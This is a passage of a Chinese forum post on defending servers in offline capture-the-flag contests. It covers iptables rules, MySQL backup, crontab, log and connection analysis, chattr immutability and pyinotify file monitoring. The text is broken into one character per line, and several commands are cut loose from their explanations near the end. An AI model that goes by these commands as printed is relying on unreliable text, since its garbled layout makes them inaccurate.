N
P
U
T
-
s
s
o
u
r
c
e
_
i
p
[
/
m
a
s
k
]
-
p
t
c
p
-
-
d
p
o
r
t
2
2
-
j
D
R
O
P
#
备
份
m
y
s
q
l
数
据
库
m
y
s
q
l
d
u
m
p
-
u
用
户
名
-
p
密
码
数
据
库
名
>
b
a
k
.
s
q
l
m
y
s
q
l
d
u
m
p
-
-
a
l
l
-
d
a
t
a
b
a
s
e
s
>
b
a
k
.
s
q
l
#
还
原
m
y
s
q
l
数
据
库
m
y
s
q
l
-
u
用
户
名
-
p
密
码
数
据
库
名
<
b
a
k
.
s
q
l
#
定
时
任
务
,
在
固
定
的
时
间
间
隔
执
行
指
定
的
系
统
指
令
或
s
h
e
l
l
s
c
r
i
p
t
c
r
o
n
t
a
b
[
-
u
u
s
e
r
]
f
i
l
e
_
n
a
m
e
c
r
o
n
t
a
b
[
-
u
u
s
e
r
]
[
-
e
|
-
l
|
-
r
]
#
检
测
所
有
的
t
c
p
连
接
数
量
及
状
态
n
e
t
s
t
a
t
-
a
n
t
|
a
w
k
|
g
r
e
p
|
s
e
d
-
e
-
e
|
s
o
r
t
|
u
n
i
q
-
c
|
s
o
r
t
-
r
n
#
查
看
页
面
访
问
排
名
前
十
的
I
P
c
a
t
/
v
a
r
/
l
o
g
/
a
p
a
c
h
e
2
/
a
c
c
e
s
s
.
l
o
g
|
c
u
t
-
f
1
-
d
|
s
o
r
t
|
u
n
i
q
-
c
|
s
o
r
t
-
k
-
r
|
h
e
a
d
-
#
查
看
页
面
访
问
排
名
前
十
的
U
R
L
c
a
t
/
v
a
r
/
l
o
g
/
a
p
a
c
h
e
2
/
a
c
c
e
s
s
.
l
o
g
|
c
u
t
-
f
4
-
d
|
s
o
r
t
|
u
n
i
q
-
c
|
s
o
r
t
-
k
-
r
|
h
e
a
d
-
文
件
监
控
文
件
监
控
为
了
监
控
我
们
的
w
e
b
目
录
,
我
们
可
以
对
文
件
的
增
加
或
修
改
等
操
作
进
行
限
制
,
粗
暴
一
点
的
话
,
就
禁
止
任
何
文
件
产
生
变
化
。
使
用
系
统
命
令
L
i
n
u
x
下
的
文
件
有
着
隐
藏
属
性
,
可
以
用
命
令
查
看
。
其
中
有
一
个
c
h
a
t
t
r
+
i
l
s
a
t
t
r
属
性
,
表
示
不
得
更
动
任
意
文
件
或
目
录
。
如
果
你
已
经
有
或
者
权
限
了
,
那
么
你
可
以
使
用
修
改
文
件
隐
藏
属
性
,
这
样
所
有
用
户
都
不
能
对
该
文
件
或
者
目
录
进
行
修
改
删
除
等
操
作
(
包
括
)
,
如
果
想
进
行
修
改
,
必
须
用
取
消
隐
藏
属
性
。
e
.
g
.
防
止
系
统
中
某
个
关
键
文
件
被
修
改
:
将
/
v
a
r
/
w
w
w
/
h
t
m
l
目
录
下
的
文
件
设
置
为
不
允
许
任
何
人
修
改
:
使
用
p
y
t
h
o
n
的
第
三
方
库
p
y
i
n
o
t
i
f
y
p
y
t
h
o
n
的
第
三
方
库
p
y
i
n
o
t
i
f
y
可
以
让
我
们
很
方
便
地
实
现
这
些
功
能
。
但
是
由
于
是
第
三
方
库
,
线
下
赛
中
通
常
没
法
联
网
安
装
库
,
所
以
我
们
可
以
提
前
准
备
好
s
o
u
r
c
e
c
o
d
e
以
在
比
赛
时
安
装
。
下
载
地
址
:
h
t
t
p
s
:
/
/
p
y
p
i
.
p
y
t
h
o
n
.
o
r
g
/
p
y
p
i
/
p
y
i
n
o
t
i
f
y
(
如
果
比
赛
可
以
联
网
,
建
议
直
接
通
过
p
i
p
安
装
)
安
装
方
法
:
解
压
,
然
后
执
行
使
用
方
法
:
但
由
于
监
控
事
件
太
过
杂
,
很
多
并
不
是
我
们
关
注
的
,
并
且
我
们
不
仅
仅
要
监
控
,
还
需
要
对
某
些
操
作
进
行
自
动
处
理
,
因
此
我
们
可
以
用
脚
本
针
对
性
地
实
现
我
们
需
要
的
功
能
:
m
o
n
i
t
o
r
_
w
i
t
h
P
y
i
n
o
t
i
f
y
。
网
络
控
制
网
络
控
制
网
络
防
护
一
定
少
不
了
i
p
t
a
b
l
e
s
了
,
但
使
用
i
p
t
a
b
l
e
s
需
要
有
管
理
员
权
限
。
对
于
比
赛
环
境
,
我
们
完
全
可
以
配
置
一
个
近
乎
苛
刻
的
配
置
防
火
墙
策
略
。
i
r
o
o
t
s
u
d
o
c
h
a
t
t
r
+
i
r
o
o
t
c
h
a
t
t
r
-
i
c
h
a
t
t
r
+
i
/
e
t
c
/
p
r
o
f
i
l
e
c
h
a
t
t
r
-
R
+
i
/
v
a
r
/
w
w
w
/
h
t
m
l
s
u
d
o
p
y
t
h
o
n
X
X
X
s
e
t
u
p
.
p
y
i
n
s
t
a
l
l
p
y
t
h
o
n
-
m
p
y
i
n
o
t
i
f
y
m
o
n
i
t
o
r
i
n
g
_
p
a
t
h
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页